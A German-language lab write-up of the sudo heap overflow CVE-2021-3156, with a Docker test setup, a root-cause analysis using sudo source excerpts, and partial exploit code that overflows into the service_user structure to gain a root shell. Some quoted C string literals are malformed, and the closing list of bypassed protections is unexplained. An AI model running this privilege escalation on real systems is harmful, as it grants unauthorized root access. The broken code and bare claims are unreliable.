CVE-2021-3156 – Baron Samedit

Schwachstellenumgebung

Erstelle das Image mit der Dockerfile

docker build -t cve-2021-3156:ubuntu2004 .

Erstelle einen Container mit dem Image

docker run --rm -it cve-2021-3156:ubuntu2004 /bin/bash

Schwachstellenursache

In Sudo vor Version 1.9.5p2 existiert ein Off-by-One-Fehler, der zu einem heap-basierten Pufferüberlauf führen kann.
Ein Angreifer kann durch die Ausführung von:

sudoedit -s <Parameter, der mit einem einzelnen Backslash `\` endet>

ohne Kennwort seine Rechte auf root erhöhen.

Am Beispiel des Sudo-Quellcodes von Version 1.8.31p1: Wenn sudoedit -s ausgeführt wird und ein Escape-Zeichen \ eingegeben wird, wird zuerst die Funktion parse_args in parse_args.c aufgerufen, um die Escape-Operation für den Befehl durchzuführen. Der folgende Codeabschnitt verarbeitet die Escape-Behandlung für eingegebene Sonderzeichen.

	    for (av = argv; *av != NULL; av++) {
		for (src = *av; *src != '\0'; src++) {
		    /* quote potential meta characters */
		    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
			*dst++ = '\\';
		    *dst++ = *src;
		}
		*dst++ = ' ';
	    }

Anschließend wird, bevor die von außen übergebenen Parameter im Heap- oder Stack-Speicher gespeichert werden, die Funktion set_cmnd in der Datei sudoers.c aufgerufen, um die Befehlszeilenargumente in den Heap-Speicher zu kopieren. Dabei werden mit dem folgenden Code alle Escape-Zeichen \ entfernt.

	for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
		    while (*from) {
			if (from[0] == '\\' && !isspace((unsigned char)from[1]))
			    from++;
			*to++ = *from++;
		    }
		    *to++ = ' ';
		}

Das Problem liegt darin: Wenn parse_args die Parameter nicht escaped (d. h. keine zusätzlichen \ einfügt), wird das Programm trotzdem in die Funktion set_cmnd eintreten, um die Escape-Zeichen zu entfernen. Da jedoch keine Escape-Operation für das eingegebene \ durchgeführt wurde, wird beim Eintritt in set_cmnd die if-Bedingung erfüllt, das \ übersprungen und die folgenden Parameter des \ in user_args kopiert. Wenn der kopierte Inhalt zu lang ist, kommt es zu einem Heap-Überlauf.

Ausnutzung der Schwachstelle

Ablauf der Ausnutzung

EXP-Analyse

Der Exploit besteht aus zwei Teilen: exploit.c und shellcode.c. exploit.c ist für die Konstruktion von argv und envp sowie für den Aufruf von sudoedit über execve verantwortlich und nutzt die Schwachstelle durch Heap-Überlauf aus.

• In exploit.c wird durch die Konstruktion eines Puffers (buf) der Größe 0xf0 die Heap-Layout genau gesteuert, um durch Pufferüberlauf eine kritische Struktur zu überschreiben. Die Größe des Überlaufs wird durch die Füllung von buf ('Y' und \) gesteuert. Anschließend wird sudoedit über execve aufgerufen, um die Schwachstelle auszulösen.

	char buf[0xf0] = {0};
	memset(buf, 'Y', 0xe0);
	strcat(buf, "\");

	char* argv[] = {
		"sudoedit",
		"-s",
		buf,
		NULL};

• Mit den Umgebungsvariablen LC_* wird der Heap angepasst. Durch das Layout dieser Umgebungsvariablen wird die Zielstruktur service_user auf den Pfad des Überlaufs platziert. Die Überlaufdaten werden über die Umgebungsvariable overflow übertragen und überschreiben die Felder der service_user-Struktur.

	char messages[0xe0] = {"LC_MESSAGES=en_GB.UTF-8@"};
	memset(messages + strlen(messages), 'A', 0xb8);

	char overflow[0x500] = {0};
	memset(overflow, 'X', 0x4cf);
	strcat(overflow, "\");

• Durch das konstruierte envp-Array werden die Überlaufdaten an sudoedit übergeben, um die Zielstruktur zu überschreiben und die Schwachstelle auszunutzen.

	char* envp[] = {
		overflow,
		"\", "\", "\", "\", "\", "\", "\", "\",
		"XXXXXXX\",
		// Teile ausgelassen
		NULL};

• Schließlich wird sudoedit über execve aufgerufen.

	execve("/usr/bin/sudoedit", argv, envp);

Ausführung des Exploits

Getestet auf Ubuntu 20.04 mit sudo 1.8.31

Mit folgendem Befehl können Sie prüfen, ob Ihre sudo-Version anfällig ist:

$ sudoedit -s Y

Wenn zur Eingabe eines Kennworts aufgefordert wird, ist die Schwachstelle höchstwahrscheinlich vorhanden; wenn eine Nutzungsinformation ausgegeben wird, ist die Version nicht anfällig.

Mit folgendem Befehl können Sie sudo auf Ubuntu 20.04 auf eine anfällige Version downgraden, um sie zu testen:

$ sudo apt install sudo=1.8.31-1ubuntu1

Verwendung Führen Sie make aus, um den Exploit zu kompilieren und auszuführen:

$ make
$ ./exploit

Ergebnis der Ausnutzung

Nach erfolgreicher Ausnutzung wird eine interaktive Root-Shell erhalten, mit der privilegierte Aktionen ausgeführt werden können.

Umgehung von Schutzmechanismen

• RELRO
• NX
• ASLR
• PIE
• AppArmor / SELinux
• Stack Canaries